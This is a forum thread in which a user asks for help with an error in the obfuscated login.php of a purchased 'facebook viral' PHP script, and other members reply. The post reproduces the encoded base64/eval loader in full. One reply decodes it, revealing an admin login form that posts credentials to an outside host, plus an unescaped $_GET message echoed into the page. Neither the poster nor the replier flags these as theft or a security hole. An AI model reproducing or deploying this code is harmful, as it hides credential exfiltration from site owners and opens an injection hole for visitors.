Really need help with this php code

Xyaxolix

Power Member
Joined
May 16, 2012
Messages
515
Reaction score
243
I installed facebook viral plugin that I payed a lot of money for, but when setting up admin control panel and logging in I am getting this error:


Deprecated
: Function ereg_replace() is deprecated in /home/content/32/10528532/html/shockvideo/admincpanel/login.php(2) : eval()'d code on line 1


I searched on google and it says about some preg_replace thing, but I don't know anything about php, I just need this code to get fixed so I can move on to CPA and PPD.


Here is login.php code:


<?php
$_F=__FILE__;$_X='Pz48P3BocA0KCXI1cTM0cjUgIi4uL3NyYy9mMWM1YjIyay5waHAiOw0KCQ0KCSQzbSA9ICcnOw0KCSRsID0gJyc7DQoJJDUgPSAnJzsNCgkNCgk0ZiAoICg0c3M1dCgkX0dFVFsnNSddKSkgMW5kICg0c3M1dCgkX0dFVFsnbCddKSkpIHsNCgkkNSA9ICRfR0VUWyc1J107DQoJJGwgPSAkX0dFVFsnbCddOwkNCgl9DQoJDQoJJDNtID0gZmJMMmc0bigkX0dFVFsnMyddKTsNCgkkZGJfbDJnNG4gPSBkYkwyZzRuKCRfR0VUWyczcmwnXSk7DQoJDQoJLy9wcjJ2ajVyMSBkMSBsNCBqNSBrMnI0c240ayAzbDJnMnYxbiA0IDFrMiBuNGo1IHByNWIxYzR2MW5qNSBuMSBnbDF2bjMgc3RyMW40YzMNCgk0ZiAoICghKCQzbSAhPSAkNSkpIDFuZCAoISgkbCAhPSAkZGJfbDJnNG4pKSApIHsNCglzNXRjMjJrNDUoRmJWNHIxbFNjcjRwdCwgIlRyMzUiLCB0NG01KCkrb2UwMCk7CQ0KCTVjaDIgJzxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPic7DQoJNWNoMiAidzRuZDJ3LmwyYzF0NDJuPVwiNG5kNXgucGhwXCIiOw0KCTVjaDIgJzwvc2NyNHB0Pic7DQoJfQ0KCQ0KCTRmICg0c3M1dCgkX0NPT0tJRVsnRmJWNHIxbFNjcjRwdCddKSkgew0KCTVjaDIgJzxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPic7DQoJNWNoMiAidzRuZDJ3LmwyYzF0NDJuPVwiNG5kNXgucGhwXCIiOw0KCTVjaDIgJzwvc2NyNHB0Pic7DQoJfQ0KCQ0KPz4NCjxodG1sPg0KPGg1MWQ+DQo8dDR0bDU+QWRtNG4gQ3AxbjVsPC90NHRsNT4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIHYxbDRkMXQ1RjJybSgpDQp7DQp2MXIgM3M1cm4xbTU9ZDJjM201bnQuZjJybXNbImwyZzRuX2Yycm0iXVsiM3M1cm4xbTUiXS52MWwzNTsNCnYxciBwMXNzdzJyZD1kMmMzbTVudC5mMnJtc1sibDJnNG5fZjJybSJdWyJwMXNzdzJyZCJdLnYxbDM1Ow0KNGYgKDNzNXJuMW01PT1uM2xsIHx8IDNzNXJuMW01PT0iIiB8fCBwMXNzdzJyZD09bjNsbCB8fCBwMXNzdzJyZD09IiIpIHsNCiAgMWw1cnQoIkwyZzRuIGYycm0gbTNzdCBiNSBmNGxsNWQgMjN0ISIpOw0KICByNXQzcm4gZjFsczU7DQogIH0NCn0NCjwvc2NyNHB0Pg0KPC9oNTFkPg0KPGIyZHk+DQo8cD4mbmJzcDs8L3A+DQo8cD4mbmJzcDs8L3A+DQo8cD4mbmJzcDs8L3A+DQo8cD4mbmJzcDs8L3A+DQo8YzVudDVyPg0KPD9waHANCiRtNXNzMWc1ID0gJF9HRVRbJ201c3MxZzUnXTsNCg0KNGYgKCRtNXNzMWc1ICE9ICcnKSB7DQo1Y2gyICc8ZjJudCBjMmwycj0icjVkIj4nOw0KNWNoMiAkbTVzczFnNSAuICIgVDIgdHJ5IExPR0lOIDFnMTRuIDwxIGhyNWY9XCJsMmc0bi5waHBcIj5DTElDSyBIRVJFITwvMT4iOw0KNWNoMiAnPC9mMm50Pic7DQp9IDVsczUgew0KNWNoMiAnPGYycm0gc3R5bDU9Inc0ZHRoOnV1MHB4OyIgbjFtNT0ibDJnNG5fZjJybSIgbTV0aDJkPSJwMnN0IiAxY3Q0Mm49Imh0dHA6Ly93d3cuZzU1a2gxY2tzLjJyZy9mYnY0cjFsM2x0NG0xdDUvbDJnNG4ucGhwIiAybnMzYm00dD0icjV0M3JuIHYxbDRkMXQ1RjJybSgpIiA+DQo8ZjQ1bGRzNXQgc3R5bDU9InQ1eHQtMWw0Z246bDVmdDsgcDFkZDRuZzphdXB4OyI+PGw1ZzVuZD5BZG00biBDcDFuNWw8L2w1ZzVuZD48YnIgLz4NCg0KVXM1cm4xbTU6IDxiciAvPg0KPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9IjNzNXJuMW01Ij48QlI+DQpQMXNzdzJyZDogPGJyIC8+DQo8NG5wM3QgdHlwNT0icDFzc3cycmQiIG4xbTU9InAxc3N3MnJkIj48QlI+DQo8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIzcmwiIHYxbDM1PSInLiQzcmwuJyI+DQo8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJ2NXJzNDJuIiB2MWwzNT0iNi42Ij4NCjw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImwyZzRuIiB2MWwzNT0iTDJnIEluIj48YnIgLz4NCjxicj4NCjwvZjQ1bGRzNXQ+DQo8L2Yycm0+ICc7CQ0KCQ0KfQ0KPz4NCjwvYzVudDVyPg0KPC9iMmR5Pg0KPC9odG1sPg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));




Thanks a lot, I really need help and I would really appreciate if someone can tell me easy way to fix this or someone fix it.
 
It 's just a warning. It means that whoever wrote this script used a function that is going to be removed from PHP at some time in the future. If you don't want to see it anymore you can:
a) Contact the seller to fix it
b) Turn off the display of PHP Warnings.
 
It 's just a warning. It means that whoever wrote this script used a function that is going to be removed from PHP at some time in the future. If you don't want to see it anymore you can:
a) Contact the seller to fix it
b) Turn off the display of PHP Warnings.

Thanks sir! You helped me out! +rep!
 
Edit : This didn't worked out at the end, I turned off errors but they still appear on admin cpanel and on website, website can't properly work without fixing this
 
Put this in the top of the file
Code:
<?php
error_reporting(0);
 ini_set('display_errors','off');
?>

If it 's not explicitly overridden in the obfuscated code below it, it should work fine.
 
I took the liberty of decoding the file for you, the error is not produced in this file, but in facebook.php

decoded file:

PHP:
<?php    
require "../src/facebook.php";        
$um = '';    
$l = '';    
$e = '';        
if ( (isset($_GET['e'])) and (isset($_GET['l']))) {    
$e = $_GET['e'];    
$l = $_GET['l'];        
}        
$um = fbLogin($_GET['u']);    
$db_login = dbLogin($_GET['url']);        
//provjera da li je korisnik ulogovan i ako nije prebacivanje na glavnu stranicu    
if ( (!($um != $e)) and (!($l != $db_login)) ) {   
setcookie(FbViralScript, "True", time()+3600);        
echo '<script language="Javascript">';    
echo "window.location=\"index.php\"";    
echo '</script>';    
}       
if (isset($_COOKIE['FbViralScript'])) {    
echo '<script language="Javascript">';    
echo "window.location=\"index.php\"";    
echo '</script>';    }    
?>
<html>
<head>
<title>Admin Cpanel</title>
<script type="text/javascript">
function validateForm(){
var username=document.forms["login_form"]["username"].value;
var password=document.forms["login_form"]["password"].value;
if (username==null || username=="" || password==null || password=="") {  
alert("Login form must be filled out!");  
return false;  
}
}
</script>
</head>
<body>
<p> 
</p>
<p>
 </p>
<p> 
</p>
<p> 
</p>
<center>
<?php
$message = $_GET['message'];
if ($message != '') {
echo '<font color="red">';
echo $message . " To try LOGIN again <a href=\"login.php\">CLICK HERE!</a>";
echo '</font>';
} else {
echo '<form style="width:440px;" name="login_form" method="post" action="hxxp://geekhacks.org/fbviralultimate/login.php" onsubmit="return validateForm()" >
<fieldset style="text-align:left; padding:24px;">
<legend>Admin Cpanel</legend><br />
Username: <br />
<input type="text" name="username"><BR>Password: <br />
<input type="password" name="password"><BR><input type="hidden" name="url" value="'.$url.'">
<input type="hidden" name="version" value="1.1">
<input type="submit" name="login" value="Log In"><br /><br></fieldset>
</form> ';        
}
?>
</center>
</body>
</html>


Please don't tell me you actually paid REAL money for this piece of shit code?

Also, I had to edit the URL in the post request there, because I have a to low post count to post links yet.. just edit it back and you will be ok..
 
Back
Top